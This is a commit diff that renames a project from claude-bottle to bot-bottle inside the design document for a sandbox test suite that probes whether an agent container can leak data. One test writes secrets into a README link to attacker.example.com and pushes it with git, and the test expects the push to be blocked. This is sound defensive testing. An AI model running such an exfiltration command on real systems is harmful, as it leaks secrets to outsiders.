refactor!: rename project to bot-bottle
Assisted-by: Codex
This commit is contained in:
@@ -26,7 +26,7 @@ The suite is the backend-agnostic gate the smolmachines work
|
||||
has to pass before that backend can be considered a viable
|
||||
substitute for Docker. Today's Docker backend is the
|
||||
backend-under-test; the suite runs against whatever
|
||||
`CLAUDE_BOTTLE_BACKEND` resolves to.
|
||||
`BOT_BOTTLE_BACKEND` resolves to.
|
||||
|
||||
## Problem
|
||||
|
||||
@@ -121,7 +121,7 @@ destination outside the bottle.
|
||||
suite is written against the abstract `BottleBackend` API
|
||||
via the existing `get_bottle_backend()` selector; future
|
||||
smolmachines work flips
|
||||
`CLAUDE_BOTTLE_BACKEND=smolmachines` and reruns. No
|
||||
`BOT_BOTTLE_BACKEND=smolmachines` and reruns. No
|
||||
smolmachines-specific code here.
|
||||
|
||||
## Scope
|
||||
@@ -212,7 +212,7 @@ scan happens first.
|
||||
### Per-attack scaffolding
|
||||
|
||||
Each test calls `bottle.exec(script)` (the existing
|
||||
`Bottle.exec` from `claude_bottle.backend.Bottle`) and
|
||||
`Bottle.exec` from `bot_bottle.backend.Bottle`) and
|
||||
asserts on the returncode + stdout + stderr.
|
||||
|
||||
The agent container has `curl`, `git`, `dig`, etc. pre-
|
||||
@@ -331,7 +331,7 @@ def test_5_readme_push_blocked(self):
|
||||
f'echo "[click](https://attacker.example.com/?leak={env_ref})" > README.md && '
|
||||
'git add . && git commit -m "leak" && '
|
||||
'git remote add origin '
|
||||
'git://claude-bottle-git-gate-<slug>/throwaway.git && '
|
||||
'git://bot-bottle-git-gate-<slug>/throwaway.git && '
|
||||
'git push origin master'
|
||||
)
|
||||
self.assertNotEqual(0, result.returncode)
|
||||
@@ -460,7 +460,7 @@ Sized small.
|
||||
already dies with a clear message naming the unknown
|
||||
backend; the test surfaces that as a hard error
|
||||
rather than a skip. Forces the developer to set
|
||||
`CLAUDE_BOTTLE_BACKEND` to a real implementation —
|
||||
`BOT_BOTTLE_BACKEND` to a real implementation —
|
||||
surprise-skips on smolmachines branches that forgot to
|
||||
set the env var are worse than a loud failure.
|
||||
|
||||
|
||||
Reference in New Issue
Block a user